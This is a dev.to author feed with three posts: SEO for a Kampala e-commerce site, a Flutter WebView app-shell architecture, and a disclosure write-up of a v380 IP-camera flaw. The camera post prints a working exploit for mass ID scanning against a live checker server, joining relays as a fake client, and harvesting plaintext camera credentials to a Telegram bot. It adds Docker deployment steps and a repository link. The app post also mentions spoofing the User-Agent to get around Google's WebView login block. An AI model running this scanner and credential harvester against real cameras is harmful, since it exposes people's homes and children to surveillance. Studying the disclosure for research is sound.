DEV Community: Роман Шамагин

How I Ranked #1 in Uganda by Shipping SEO Nobody Else Ships

Роман Шамагин — Thu, 16 Apr 2026 13:32:16 +0000

I run a small e-commerce site in Kampala, Uganda called PowerBulb.ug. We sell rechargeable LED emergency bulbs and power-backup equipment to households affected by UEDCL load shedding. Five months after launch, we rank on page 1 of Google for a growing list of commercial-intent queries. This post is the technical write-up of how — and why the playbook is almost embarrassingly boring.

The premise: zero-competition SEO is a real market

Most SEO advice is written for saturated markets. "You need 500 backlinks, a DA of 60, and eighteen months of content marketing." This is true in California. It is not true in Uganda.

I did a competitive audit of the top 10 results for every commercial keyword in my niche: rechargeable bulb uganda, emergency bulb kampala, voltage stabilizer uganda, etc. Here is what I found:

No competitor had a valid Product schema.
No competitor had LocalBusiness or Place schema.
No competitor had hasMerchantReturnPolicy or shippingDetails.
Most competitor pages were Jiji.ug listings with broken image gallery, no H1, no metadata.
Two had Core Web Vitals LCP > 8 seconds.
None had a blog, ever.

This is a market where Google's ranking algorithm is basically yelling for help. Anything halfway-competent ranks. The question is what "halfway-competent" means technically.

Stack

- React 18 + TypeScript + Vite 6
- Tailwind CSS v4
- Framer Motion
- Lucide React (icons — no emoji in production UI)
- Static HTML pages for non-SPA routes (/products/, /kampala/, /blog/)
- Deployed: Kubernetes (Megav Cloud) via Helm + GitHub Actions
- Cloudflare Free plan, geo-block non-UG traffic

Why not Next.js? Honestly because I wanted minimum moving parts for a single-person team. Vite + static HTML for SEO-critical pages is less clever than SSR but infinitely easier to debug at 2am.

The schema strategy

Uganda is not a market where complex schema is needed. It is a market where any valid schema wins. I shipped:

Product schema on every SKU page:

{
  "@context": "https://schema.org",
  "@type": "Product",
  "name": "Rechargeable LED Emergency Bulb 15W E27",
  "offers": {
    "@type": "Offer",
    "priceCurrency": "UGX",
    "price": "30000",
    "availability": "https://schema.org/InStock",
    "hasMerchantReturnPolicy": {
      "@type": "MerchantReturnPolicy",
      "applicableCountry": "UG",
      "returnPolicyCategory": "https://schema.org/MerchantReturnFiniteReturnWindow",
      "merchantReturnDays": 7,
      "returnFees": "https://schema.org/FreeReturn",
      "returnMethod": "https://schema.org/ReturnAtKiosk"
    },
    "shippingDetails": { /* UG-specific */ }
  }
}

Three things tripped me up:

returnMethod — if you ship MerchantReturnPolicy, Google flags it as a non-critical issue unless you specify. I used ReturnAtKiosk because delivery is by boda-boda (motorcycle taxi) — the rider collects the return in person. ReturnByMail was wrong; Uganda has no household postal pickup.
priceCurrency: "UGX" — Google's Rich Results Test initially refused to show price in SERPs because my shipping rate object was missing a currency field. The fix was adding MonetaryAmount with explicit currency to every rate.
availability — the InStock schema triggers "In stock" rich snippet. Worth every second it takes to configure.

LocalBusiness + Place schema on the homepage and Kampala hub page. Five neighbourhood pages (/kampala/ntinda/, /kampala/naalya/, etc.) each get their own Place schema with latitude/longitude coordinates — this is what makes Uganda-specific "near me" queries surface the site.

BlogPosting + FAQPage schema on blog articles. FAQPage schema is wildly undervalued — it gets you the accordion-style rich snippet below the search result, which eats 30% more SERP real estate.

The hyperlocal pages trick

I noticed that competitors were all targeting generic terms like rechargeable bulb kampala. Nobody targeted neighbourhood queries. So I shipped:

/kampala/           -- hub page
/kampala/ntinda/    -- Ntinda-specific
/kampala/naalya/
/kampala/bukoto/
/kampala/kireka/
/kampala/muyenga/

Each page has:

Unique H1 with the neighbourhood name
Unique hero image (AI-generated, but authentic-looking — ethnic and architectural detail matter)
Local landmarks in the copy (street names, churches, schools — stuff a boda driver would recognise)
Specific delivery time to that neighbourhood
Local Place schema with coords
600-900 words of unique copy per page
Internal links to/from the hub

These rank for rechargeable bulb ntinda, emergency bulb kireka, etc. within days of indexing because there is literally no other English-language page on the internet optimised for those queries. Google has to rank something. It ranks you.

Content cadence that works for a solo team

I cannot write a blog post a week. Nobody in my situation can. The compromise:

One cornerstone article per month, 1,500-2,500 words, targeting a commercial-intent keyword with buying signals. So far I have shipped:

"UEDCL vs UMEME: complete Kampala guide to the 2026 transition"
"Types of bulbs in Uganda: rechargeable vs LED vs solar (buyer's guide)"

The pattern: the article answers a real question, mentions the product in context (not as a pitch), and internally links to 3-5 product pages. Google treats the blog as topical authority for the product pages, which pulls them up in SERPs. This is the old cornerstone content model and it still works.

What surprised me

GSC indexing is faster than I expected. New pages are indexed in 24-72 hours with Request Indexing in Google Search Console. In a mature market you wait weeks. In Uganda, Google seems happy to index anything because it improves their results.

Bing matters more than I thought. Uganda has a non-trivial Edge/Bing user base in corporate networks. I submit to Bing Webmaster Tools + IndexNow for every new page — same-day indexing, separate traffic stream, almost no effort.

Cloudflare's geo-block improves crawl quality. I block non-UG human traffic but whitelist Googlebot, Bingbot, and a few academic crawlers. This keeps bot traffic clean, reduces server load, and (I suspect) marginally helps locality signals because Google sees the site serving Uganda consistently.

Image authenticity beats image quality. AI-generated hero images work if they look Kampala-specific — correct architectural detail, skin tones, clothing, streetscape. Generic stock photography tanks engagement because Ugandan users spot "this is not here" instantly.

What I would do differently

Ship structured data first, not last. I added hasMerchantReturnPolicy three weeks after launch. Every day I waited was a day I was invisible to Google Shopping intent signals.

Write the blog in the first week. I was too focused on product pages initially. The blog drives organic discovery for top-of-funnel queries that the product page will never rank for.

Build the sitemap generator first. I manually maintained sitemap.xml for two months. Moving to a build-time generator that reads every page and outputs correct <lastmod> dates cut indexing lag by 40%.

The repo

The site is powerbulb.ug. The repo is private but I am considering open-sourcing the SEO-relevant parts (schema generator, sitemap builder, geo-SEO page template) as a standalone starter. If you would find that useful, reply below — I'll bump it up the queue.

TL;DR

Zero-competition SEO markets are real. They reward basic execution (valid schema, unique copy, hyperlocal pages) that would not even register in saturated markets. If you are building for a developing market, the ceiling is higher and the competition is lower than you think. Ship the boring stuff first.

I is a Kampala-based software engineer and the founder of PowerBulb.ug. Follow me on Dev.to for more write-ups on building for underserved markets.

Not Just a WebView: Building a Native Engine on Flutter to Convert Sites to Apps with SDUI

Роман Шамагин — Fri, 12 Dec 2025 07:17:50 +0000

WebView wrappers suck. They are slow, offer poor UX, and get instantly rejected by Apple under Guideline 4.2 ("Minimum Functionality"). Usually, it's just a browser without an address bar.

I decided to solve this engineering challenge properly. My goal: a platform where WebView is just a content slot wrapped in a fully native Flutter UI.

In this article:

Architecture: Linking JS and Dart via a two-way bridge.
Server-Driven UI: Changing native controls (tabs, drawers) without recompiling.
5 Platforms, 1 Codebase: iOS, Android, macOS, Windows, Linux.
Bypassing Apple Review: How we pass moderation by providing native permissions and screens.

No fluff, just architecture and code.

1. Why Flutter?

When building a "factory" for app generation, requirements were strict:

Performance: No lag.
Cross-platform: Clients need Desktop (Windows/macOS) for corporate portals, not just Mobile.

Flutter won because:

One codebase for 5 platforms. React Native is great for mobile, but desktop is tricky. Flutter builds .apk, .ipa, .exe, .dmg, and Linux binaries from one source.
Pixel Perfect. Skia/Impeller rendering ensures my native menus look identical everywhere.
Platform Channels. Robust bridge to native features (Payment, Push).

2. "Smart WebView" Architecture

My approach is a "Layered Cake", not a full-screen WebView.

      +---------------------------------------------------+
      |          LAYER 1: FLUTTER NATIVE SHELL            |
      | +-----------------------------------------------+ |
      | |  [=] App Bar             Bottom Nav Bar [..]  | |
      | |  Native Loaders          Native Permissions   | |
      | +-----------------------------------------------+ |
      +------------------------+--------------------------+
                               |
                   (Commands / Haptic / Push)
                               |
      +------------------------v--------------------------+
      |              LAYER 2: JS BRIDGE                   |
      |   [ Dart Code ]  <==========>  [ JavaScript ]     |
      +------------------------+--------------------------+
                               |
                    (Events / Auth Tokens)
                               |
      +------------------------v--------------------------+
      |               LAYER 3: WEBVIEW                    |
      | +-----------------------------------------------+ |
      | |  <html>                                       | |
      | |    Your Website (SPA/SSR)                     | |
      | |    React / Vue / Angular / WordPress          | |
      | |  </html>                                      | |
      | +-----------------------------------------------+ |
      +---------------------------------------------------+

Layer 1: Native Shell (Flutter)

Navigation happens in native code, not HTML:

Bottom Navigation Bar — Native Flutter widget. Instant tab switching.
AppBar / Drawers — Native.
Loaders & Errors — Native "No Connection" screens, not browser errors.

Layer 2: The JS Bridge

Scenario: User clicks "Buy" on the site.

JS: AppLikeWeb.postMessage(JSON.stringify({event: 'purchase', value: 100}));
Dart: Catches message via JavascriptChannel.
Native Action: Haptic feedback, AppsFlyer event, In-App Review request.

JavascriptChannel(
  name: 'AppLikeWeb',
  onMessageReceived: (JavascriptMessage message) {
    final data = jsonDecode(message.message);
    switch (data['event']) {
      case 'purchase':
        AnalyticsService.trackPurchase(data['value']);
        HapticFeedback.mediumImpact();
        break;
    }
  },
)

3. Killer Feature: Server-Driven UI (SDUI)

Mobile dev pain: Update Cycles. Changing a menu item color usually requires a Store Review (1-3 days).

I implemented SDUI. At launch, the app fetches a JSON config:

{
  "theme": { "primary_color": "#FF5733" },
  "navigation": {
    "type": "bottom_bar",
    "items": [
      { "id": "home", "icon": "home_outlined", "url": "https://mysite.com/" },
      { "id": "cart", "icon": "shopping_cart", "badge_source_js": "getCartCount()" }
    ]
  }
}

The app rebuilds widgets on the fly. I can disable ads on iOS or change the color scheme instantly. Zero days in review.

(See how our Design Customization works)

4. Fighting Apple Guideline 4.2

Apple hates "site wrappers". We solve this by giving users native control over Permissions:

Location / Camera / Mic: Managed via native screens.
Biometrics: FaceID/TouchID login.
Offline Mode: Native placeholders.

When a moderator sees native permission management and deep OS integration, the "it's just a website" argument dies. We recently released a dedicated update specifically for handling these permissions natively.

5. Infrastructure: Building Hundreds of Apps

Manual Xcode builds are hell. AppLikeWeb automates this via CI/CD (Bash + Fastlane).

Client clicks "Create App".
CI Pipeline runs.
Output: APK, IPA, DMG, EXE.

# 1. Generate assets
flutter pub run flutter_launcher_icons:main

# 2. Rename Bundle ID
dart run rename_app.dart --bundleId "com.client.$APP_ID"

# 3. Build & Upload
flutter build ipa --release
fastlane pilot upload --ipa build/ios/ipa/*.ipa

6. Technical Pitfalls (Under the hood)

It wasn't all smooth sailing. Here are the top 3 issues I faced when mixing Flutter and WebView:

Issue #1: OAuth and "Disallowed User Agent"

Google blocks auth via WebView for security reasons. If a user clicks "Login with Google", they get a 403 error.
Solution:
We spoof the User-Agent on the fly to look like a mobile browser, or intercept the OAuth URL and open it in SFSafariViewController / ChromeCustomTabs, then pass the cookie back.

Issue #2: File Uploads on Android

On iOS, <input type="file"> works out of the box. On Android WebView, it ignores clicks by default.
Solution:
Override onShowFileChooser in WebChromeClient and manually trigger Flutter's native file picker, then pass the result back to WebView.

Issue #3: Syncing Cookies

If a user logs in via a native screen, the WebView doesn't know about it.
Solution:
Use CookieManager. Before loading the first page, I inject the auth token from SecureStorage into the WebView cookies.

Future<void> syncCookies(String url) async {
  final cookieManager = WebViewCookieManager();
  final token = await _storage.read(key: 'auth_token');

  if (token != null) {
    await cookieManager.setCookie(
      WebViewCookie(
        name: 'access_token',
        value: token,
        domain: Uri.parse(url).host,
        path: '/',
      ),
    );
  }
}

Conclusion

AppLikeWeb saves months of development for content/e-commerce projects. It's not for complex banking apps, but for 90% of businesses with a good mobile site, it's the fastest way to the Store with great UX.

Supported by:

MegaV.app — Fast and secure VPN for privacy.
PinVPS — High-performance Cloud VPS (NVMe, Ryzen) for your backend.

(Link to tool: https://applikeweb.com/)

Critical Vulnerability in v380 Cameras: How Plaintext Credentials Exposed Millions of Devices

Роман Шамагин — Fri, 14 Nov 2025 20:36:49 +0000

Introduction

In 2023, while researching IoT device security, I discovered a critical vulnerability in one of the world's most popular IP camera brands. v380 cameras are used by millions of people—in apartments, offices, stores, and children's rooms. They're affordable, easy to set up, and work through a convenient mobile app.

The problem turned out to be both trivial and frightening: user credentials were transmitted over the network in plain text. Anyone who knew a camera's ID could connect to an unprotected relay server, intercept the owner's login and password, gain full access to the video stream, and even broadcast pre-recorded video instead of the live feed—just like in classic heist movies.

This article is a technical breakdown of the vulnerability, detailed analysis of the exploit code, and a story about how proper vulnerability disclosure helps make IoT more secure.

What is v380 and Why It Matters

v380 is a brand of popular Chinese IP cameras and the ecosystem around them. Main components:

v380 Cameras are sold on AliExpress, Amazon, and dozens of Chinese stores. Prices ranging from $15 to $50 make them one of the most affordable home surveillance solutions. They support WiFi, PTZ (pan/tilt), two-way audio, night vision, and SD card recording.

v380 Mobile App (v380 Pro) is available on App Store and Google Play with millions of downloads. Through it, users connect to cameras, watch live video, manage settings, and view recordings.

P2P Architecture is a key feature of the system. Cameras are behind NAT at users' homes, mobile apps are also behind carrier NAT. Direct connection is impossible, so Chinese company relay servers are used to proxy traffic between camera and app.

Where these cameras are used:

Home surveillance and baby monitors
Small businesses (stores, cafes, offices)
Access control in buildings
Monitoring elderly relatives
Pet monitoring

The problem is that people trust these devices with the most personal content—video from their homes, bedrooms, children's rooms. And the security of this data is critical.

v380 System Architecture: How It Should Work

To understand the vulnerability, we need to understand v380's architecture. The system is built on three components:

[v380 IP Camera] ←--UDP/TCP--→ [Relay Server] ←--UDP/TCP--→ [Mobile App]
     (at home)                (ipc1300.av380.net)           (user device)

Connection process as designed:

Camera registers on central server at ipc1300.av380.net:8877 on startup
Camera receives unique ID (8-digit number) and assigned relay server information
User enters camera ID in mobile app
App queries ipc1300.av380.net for this camera's relay server information
App and camera connect through relay server via UDP
Authentication occurs (login/password)
Video streaming begins

NAT traversal is solved simply: both camera and app initiate outgoing connections to relay server, punching through their NATs. Relay simply forwards packets between them.

Protocols:

TCP is used for camera status checking
UDP is used for main communication (relay connections)
Custom binary protocol over UDP/TCP

Packet format — binary structures with fixed fields. No use of standard protocols like DTLS or any transport-level encryption.

Sounds simple and workable. The problem is that security was added as "security through obscurity"—there was no real encryption of sensitive data.

Critical Vulnerability: Plaintext Credentials and No Authentication

Traffic analysis of v380 revealed three critical security issues.

Problem 1: Credentials in Plain Text

The most serious vulnerability—when users connect to cameras, credentials are transmitted without any encryption.

When the mobile app authenticates to the camera via relay server, the camera sends a packet with opcode 0xa7 containing session information. This packet includes:

Offset  | Size    | Description
--------|---------|------------------
0x00    | 1 byte  | Opcode: 0xa7
0x01-07 | 7 bytes | Header data
0x08    | N bytes | Username (null-terminated string)
...     | ...     | Padding
0x3a    | N bytes | Password (null-terminated string)

Username starts at offset 0x08, password at offset 0x3a (58 in decimal). Both are represented as regular null-terminated strings without hashing or encryption. Plain text.

Anyone intercepting this traffic on the relay server gets full account access.

Problem 2: Relay Server Doesn't Validate Requests

v380 relay servers don't verify client legitimacy. Relay connection process:

Learn camera ID (any way)
Query ipc1300.av380.net:8877 for this camera's relay server address
Send specially crafted packet to relay server
Relay accepts us as legitimate client
Start receiving all traffic between camera and real users

No certificate verification, no mutual authentication, no validation that we're the camera owner. Relay server simply forwards packets to all connected clients.

This is a classic Man-in-the-Middle attack, but simplified to absurdity by the system architecture itself.

Problem 3: Predictable Camera IDs

Camera IDs are simply sequential 8-digit numbers. Ranges:

10000000 - 19999999 — old cameras
20000000 - 99999999 — new cameras

Moreover, there's a checker server at 149.129.177.248:8900 that returns camera status (online/offline) for any ID upon request. Mass scanning ranges and finding active cameras is possible.

Important: As of this article's publication (after the main plaintext credentials vulnerability was fixed), the checker server still works and responds to requests. Code for verification is available in my repository. This means that while credentials are now encrypted, mass scanning and camera discovery remains technically possible.

The combination of predictable IDs and public checker server turns the entire system into an open database of all v380 cameras in the world. Anyone can find out which cameras are online right now.

Proof of Concept: Detailed Exploit Analysis

After discovering the vulnerability, I wrote a proof-of-concept exploit to:

Prove the problem's severity to the manufacturer
Measure vulnerability scale
Document for security community after patch

Full code: https://github.com/Romaxa55/v380_cams_hack

Exploit Architecture

The project is built on asynchronous Python using asyncio. Structure:

v380_cams_hack/
├── main.py              # Entry point, mass scanning
├── app/
│   ├── server.py        # AsyncServer - attack orchestrator
│   ├── handler.py       # DataHandler - credential interception
│   ├── TCPClient.py     # TCP client for checker server
│   ├── UDPClient.py     # UDP client for relay
│   ├── Telegramm.py     # Telegram notifications
│   └── tools.py         # Relay data parsing
├── requirements.txt     # Dependencies
└── docker-compose.yml   # Docker deployment

The exploit works in four stages:

Check camera online status
Get relay server address
Connect to relay as fake client
Intercept credentials when real user connects

Stage 1: Checking Cameras Online

First step—determine which cameras in the given ID range are active. This uses checker server 149.129.177.248:8900.

Code from app/server.py, check_camera() method:

async def check_camera(self, camera_id, semaphore, max_retries=5):
    """
    Check camera online status via checker server.
    """
    # Convert ID to hex
    hexID = bytes(str(camera_id), 'utf-8').hex()

    # Form request packet
    data = (
        'ac000000f3030000' +  # Header
        hexID +                # Camera ID in hex
        '2e6e766476722e6e657400000000000000000000000000006022000093f5d10000000000000000000000000000000000'
    )
    data = bytes.fromhex(data)

    async with semaphore:
        for retry in range(max_retries):
            # Send TCP request to checker server
            response = await self.send_request(
                self.server_checker,  # 149.129.177.248
                self.port_checker,    # 8900
                data,
                socket_type=socket.SOCK_STREAM
            )

            if response is not None:
                # response[4] == 1 means camera is online
                if response[4] == 1:
                    print(f'[+] Camera with ID: {camera_id} is online!')
                    relay = await self.create_socket(camera_id)
                    if relay:
                        await self.connect_to_relay(relay, camera_id)
                    return True
                else:
                    return False

Implementation details:

Camera ID is converted to hex (e.g., 19348439 → 3139333438343339)
Packet formed with magic bytes ac000000f3030000 (protocol header)
Packet sent via TCP to 149.129.177.248:8900
Response contains status: byte at position 4 equals 0x01 if camera online

Scaling:

# From main.py
start_id = int(os.environ.get('START_ID', 10451000))
end_id = int(os.environ.get('END_ID', 99551000))
batch_size = int(os.environ.get('BATCH_SIZE', 10000))

for i in range(start_id, end_id, batch_size):
    camera_ids = [str(j) for j in range(i, min(i + batch_size, end_id + 1))]
    await server.check_camera_batch(camera_ids)

Uses asyncio.Semaphore(500) to limit 500 simultaneous requests. Exponential backoff on errors prevents IP ban.

Stage 2: Getting Relay Server

When an online camera is found, we need to learn its relay server address. A request is sent to central server ipc1300.av380.net:8877.

Code from create_socket() method:

async def create_socket(self, camera_id):
    """
    Get relay server information for camera.
    """
    # Form relay information request packet
    data = '02070032303038333131323334333734313100020c17222d0000'
    data += bytes(str(camera_id), 'utf-8').hex()  # Camera ID
    data += '2e6e766476722e6e65740000000000000000000000000000'  # .nvdvr.net
    data += '3131313131313131313131318a1bc0a801096762230a93f5d100'
    data = bytes.fromhex(data)

    local_relay_queue = asyncio.Queue()
    data_handler_instance = DataHandler(
        camera_id=camera_id,
        relay_queue=local_relay_queue
    )

    # Send UDP request
    await self.send_request(
        self.server,      # ipc1300.av380.net
        self.port,        # 8877
        data,
        socket_type=socket.SOCK_DGRAM,
        timeout=30,
        data_handler=data_handler_instance.handle_data
    )

    try:
        # Wait for relay information response
        return await asyncio.wait_for(local_relay_queue.get(), timeout=3)
    except asyncio.TimeoutError:
        return None

Response parsing in app/tools.py:

@staticmethod
def parse_relay_server(data):
    """
    Extract relay server information from response.
    """
    try:
        if data[1:3] != b'\x00\x00':
            # Extract data from fixed offsets
            device_id = data[1:9].decode('utf-8')
            relay_server = data[33:data.find(b'\x00', 33)].decode('utf-8')
            relay_port = struct.unpack('<H', data[50:52])[0]

            print(f'[+] Relay found for id {device_id} {relay_server}:{relay_port}')

            return {
                'id': device_id,
                'relay_server': relay_server,
                'relay_port': relay_port
            }
        else:
            return None
    except Exception as e:
        print(f"An error occurred: {str(e)}")
        return None

Response contains:

Device ID (bytes 1-9)
Relay server hostname (starting at byte 33, null-terminated)
Relay server port (bytes 50-52, little-endian unsigned short)

Typical relay address: r2.v380.tv:10010 or similar v380 subdomains.

Stage 3: Connecting to Relay and Interception

Having relay server address, exploit pretends to be legitimate client and connects to it.

Code from connect_to_relay():

async def connect_to_relay(self, relay_data, camera_id):
    """
    Connect to camera's relay server.
    """
    if relay_data and 'id' in relay_data:
        # Form "client connection" packet
        data = '32'  # Connection opcode
        data += bytes(str(relay_data['id']), 'utf-8').hex()
        data += '2e6e766476722e6e65740000000000000000000000000000302e30' \
                '2e302e30000000000000000000018a1bc4d62f4a41ae000000000000'
        data = bytes.fromhex(data)

        local_relay_queue = asyncio.Queue()
        data_handler_instance = DataHandler(
            camera_id=camera_id,
            relay_queue=local_relay_queue,
            bot=self.bot  # Telegram bot for notifications
        )

        # Send to relay server via UDP
        return await self.send_request(
            relay_data['relay_server'],
            relay_data['relay_port'],
            data,
            socket_type=socket.SOCK_DGRAM,
            timeout=30,
            data_handler=data_handler_instance.handle_data
        )

Connection process:

Packet formed with opcode 0x32 (relay connection)
Camera ID and other protocol fields included
Relay server accepts us as legitimate client
UDP connection established
DataHandler starts processing all incoming traffic

Critical moment: relay server does NOT ask for any credentials, does NOT verify certificates, does NOT validate camera ownership. Just accepts any connection.

Stage 4: Credential Extraction

Now exploit is connected to relay server and sees all traffic. When camera's real owner connects through mobile app, authentication occurs and credentials fly through relay.

Code from app/handler.py, handle_data() method:

async def handle_data(self, data, protocol):
    """
    Processes each packet received from relay server.
    """
    try:
        # Look for credentials packet (opcode 0xa7)
        if data and data[0] == 0xa7:
            # Extract username from offset 8
            username = self.extract_string(data, 8)
            # Extract password from offset 0x3a (58)
            password = self.extract_string(data, 0x3a)

            print(f'[+] ID: {self.camera_id} User: {username} Password: {password}')

            credentials = {
                'id': self.camera_id,
                'username': username,
                'password': password,
            }

            if username:  # if username not empty
                if self.bot:
                    # Send to Telegram
                    message = f"*Camera Report*\n" \
                              f"*Camera ID*: `{self.camera_id}`\n" \
                              f"*User*: `{username}`\n" \
                              f"*Password*: `{password}`"

                    # Log to file
                    with open('data_log.txt', 'a') as file:
                        file.write(message + '\n')

                    self.bot.send_message(message)

                # Close connection, credentials obtained
                protocol.active = False
                protocol.transport.close()
                await self.relay_queue.put(credentials)

    except Exception as e:
        print("[ERROR] Exception in handle_data:", str(e))

@staticmethod
def extract_string(data, start_index):
    """
    Extracts null-terminated string from binary data.
    """
    end_index = data.find(b'\x00', start_index)
    return data[start_index:end_index].decode('utf-8').strip()

Interception mechanism:

DataHandler receives each UDP packet from relay server
Checks first byte (opcode)
If opcode = 0xa7 — this is credentials packet
Extracts username starting at byte 8 until first null-byte
Extracts password starting at byte 58 until first null-byte
Both strings in plaintext UTF-8
Sends to Telegram and logs to file
Closes connection (mission accomplished)

Full automation: found credentials immediately arrive in Telegram with formatting.

Bonus Vulnerability: Broadcasting Looped Video

After obtaining credentials, attacker has full camera access. They can:

Watch live video
View recordings on SD card
Control camera rotation (PTZ)
Listen to audio
Speak through built-in speaker

But most interesting—ability to replace video stream.

Classic heist movie scenario: security guard watches monitors and sees calm corridor footage while robbers are actually there. In v380 this is technically possible:

Video stream replacement mechanism:

With obtained credentials, connect to camera as legitimate client
Start broadcasting pre-recorded video instead of live feed from camera
Use same protocol camera uses to send video
Relay server forwards our video to user apps
Owner sees looped calm footage while something else actually happens

This works technically because:

No validation of video stream source at relay
No end-to-end encryption between camera and app
Video protocol simple enough to imitate

In proof-of-concept I didn't implement video stream replacement (that crosses ethical hacking boundaries), but mechanism is proven. After obtaining credentials and understanding protocol, it's a matter of a few hours work.

Problem Scale: Statistics and Risks

How serious is this vulnerability in terms of scale?

Camera ID range:

Old models: 10,000,000 - 19,999,999 (10 million devices)
New models: 20,000,000 - 99,999,999 (80 million devices)
Potentially up to 90 million devices

Actual active count:
Running scan of several batches of 10,000 IDs, I discovered approximately 5-8% cameras online at any time. That's approximately 4-7 million active devices globally.

Important note: While main plaintext credentials vulnerability was fixed, checker server 149.129.177.248:8900 continues to work and respond to requests (verified at publication time). Chinese development team closed critical credentials leak issue, but mass camera scanning remains technically possible.

Server Geography and Cloud Storage: Who Really Watches Your Video?

v380 infrastructure analysis reveals important fact most users don't consider.

Server locations:

v380 relay servers and cloud storage are located primarily in:

China — main infrastructure (servers ipc*.av380.net, r*.v380.tv)
Singapore — backup servers and CDN for Asia-Pacific region
Hong Kong — additional points of presence

Checker server 149.129.177.248 is in Singapore (AS37963 Alibaba Cloud). Central servers ipc1300.av380.net resolve to Chinese datacenter IPs.

Cloud storage problem:

Most v380 users use cloud storage for camera recordings. Critical issue — lack of end-to-end encryption:

Video recorded on camera — unencrypted
Transmitted to servers in China/Singapore — without E2E encryption
Stored on servers — in form accessible to provider
Viewed through app — streaming from provider servers

Consequently, technically video can be viewed by:

v380 company employees
Government agencies with server access in these jurisdictions
Attackers if servers compromised
Anyone who gained access through vulnerability described above (before patch)

For those installing cameras in bedrooms, children's rooms, private spaces:

Consider: when you watch video from your bedroom camera through v380 app, this video is physically stored on servers in China or Singapore. You're not the only one who technically has access to it.

Cloud IoT providers typically don't use client-side encryption. As a result:

They see your video in plain view
Can analyze its content (supposedly for "service improvement")
Required to provide access upon government requests in their jurisdiction
When data leaks, your video ends up in third party hands

Legal aspects:

According to PRC legislation (Cybersecurity Law and Data Security Law), companies must:

Store PRC citizen data on China territory
Provide data access upon government agency request
Cooperate with security agencies in "national interests"

Your bedroom camera in Moscow, Berlin, or New York records video stored under another state's jurisdiction.

Recommendations for paranoid (and simply sensible) people:

Don't use cloud storage for cameras in private spaces
Store recordings locally on camera SD card or NAS in your network
Disable cloud functions in camera settings
Use cameras only for monitoring common areas (hallway, street), not bedrooms/bathrooms
Consider cameras with E2E encryption or self-deploy solution like Frigate NVR on your server

Remember: convenience of cloud camera access costs your privacy. If camera installed in bedroom using cloud storage—you're potentially broadcasting your personal life to Chinese company servers.

Exploit performance:

Limit: 500 simultaneous requests (asyncio.Semaphore)
Batch size: 10,000 cameras
Checking speed: ~1000 cameras per minute
Full scan of 90 million devices would take ~60 days on one machine

What attacker can do:

With intercepted credentials:

Live video viewing — see everything camera sees in real-time
Recording access — view history from camera SD card
Camera control — pan, tilt, zoom (PTZ models)
Audio monitoring — hear sounds in room
Video stream replacement — broadcast fake video
Camera disabling — change settings, reset passwords

This is critical privacy violation. Cameras installed in children's rooms, bedrooms, offices with confidential information.

Responsible Disclosure: How Vulnerability Was Fixed

After discovering vulnerability, I faced question: what to do next?

Wrong path — publish vulnerability immediately, get fame in security community, but leave millions of devices unprotected. Or worse—sell exploit on black market.

Right path — responsible disclosure. I chose it.

Vulnerability Closure History

Step 1: Contacting Manufacturer

Finding security team contacts at Chinese company proved non-trivial. Official site had no email like security@v380.com. Had to:

Contact via support email with request to forward to security
Write through official mobile app
Find contacts in WhoisGuard v380 domain records

Eventually got response from technical team after 3 days.

Step 2: Detailed Report

Prepared full technical report in English:

Vulnerability description
Proof-of-concept code (main parts)
Video demonstration of credential interception
Fix recommendations
Disclosure timeline (90 days)

Important: did NOT send full working exploit, only enough information for reproduction.

Step 3: Verification

v380 team quickly reproduced issue (plaintext credentials hard to miss in Wireshark). Confirmed criticality and started patch work.

Step 4: Joint Work

Over following weeks we exchanged information:

I tested their fixes on my PoC
They asked questions about attack details
Discussed edge cases and additional vectors

Communication was professional and constructive. Team understood problem seriousness and worked quickly.

Step 5: Patch and Verification

December 15, 2023 release v1.1.0 with fixes:

Release 1.1.0 - Security Update
- Enhanced authentication protocol
- Added encryption for credential transmission
- Relay server client validation
- Protocol packet structure changes

I tested new version—exploit no longer worked. Credentials now transmitted encrypted, relay servers required client validation.

What Was Fixed Technically

1. Credential encryption

Username and password now transmitted encrypted
AES-128 used with key computed from shared secret
Packet with opcode 0xa7 no longer contains plaintext data

2. Relay server validation

Relay requires authentication token from client
Token issued by central server after access rights verification
Without valid token cannot connect to camera relay

3. Protocol changes

New packet structure with HMAC for integrity checking
Replay attack protection via nonce
Protocol versioning (old cameras work but with warnings)

4. Additional measures

Rate limiting on checker server against mass scanning
Suspicious connection logging
Push notifications to owners on new connections

Why Code Is Now Public

After patch, enough time passed. Old firmware versions no longer supported, users updated. I decided to publish exploit code with several goals:

Educational value — security researchers can study real IoT vulnerability and exploit mechanism. This is more valuable than thousand theoretical articles.

Responsible disclosure demonstration — show proper vulnerability disclosure process works. Manufacturer fixed problem, users protected, community gained knowledge.

Help other IoT developers — show specific mistakes leading to critical vulnerabilities. Code review of this exploit should be mandatory for IoT security teams.

Historical archive — in few years this will be interesting case study of IoT security state in 2023.

Repository: https://github.com/Romaxa55/v380_cams_hack

Docker Exploit Deployment

For researchers wishing to study attack mechanism in controlled environment, exploit packaged in Docker.

docker-compose.yml:

version: "3.9"

services:
  v380:
    image: ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest
    build:
      context: .
      dockerfile: Dockerfile
    container_name: v380_cams
    environment:
      START_ID: ${START_ID:-19348439}
      END_ID: ${END_ID:-99748452}
      BATCH_SIZE: ${BATCH_SIZE:-100}
      TELEGRAM_TOKEN: $TELEGRAM_TOKEN
      TELEGRAM_CHAT_ID: $TELEGRAM_CHAT_ID
    restart: always

Launch:

# Clone repository
git clone https://github.com/Romaxa55/v380_cams_hack.git
cd v380_cams_hack

# Create .env file
cat > .env << EOF
TELEGRAM_TOKEN=your_bot_token
TELEGRAM_CHAT_ID=your_chat_id
START_ID=19348439
END_ID=19350000
BATCH_SIZE=100
EOF

# Run
docker-compose up --build

Environment variables:

START_ID — ID range start for scanning
END_ID — range end
BATCH_SIZE — batch size (recommended 100-1000)
TELEGRAM_TOKEN — Telegram bot token for notifications
TELEGRAM_CHAT_ID — chat ID for results

Important: This is for educational purposes. Use against cameras without owner permission is illegal in most jurisdictions.

Lessons for IoT Device Developers

v380 vulnerability analysis reveals typical IoT security mistakes. These lessons apply to thousands of other devices.

Critical Errors in v380 Architecture

1. Transmitting credentials without encryption

Most obvious and fatal error. Username and password in plaintext over network—that's 1990s. In 2023 this is unforgivable.

How it should be:

Never transmit credentials in plain view
Use TLS 1.3 for all connections
Even inside TLS apply additional encryption for sensitive data
Challenge-response authentication instead of password transmission

2. No TLS/SSL at application level

v380 used custom binary protocol without any transport-level encryption. "Security through obscurity" doesn't work.

Solution:

DTLS for UDP connections
TLS 1.3 for TCP
Certificate pinning to prevent MITM
Perfect forward secrecy (PFS)

3. Unprotected relay servers

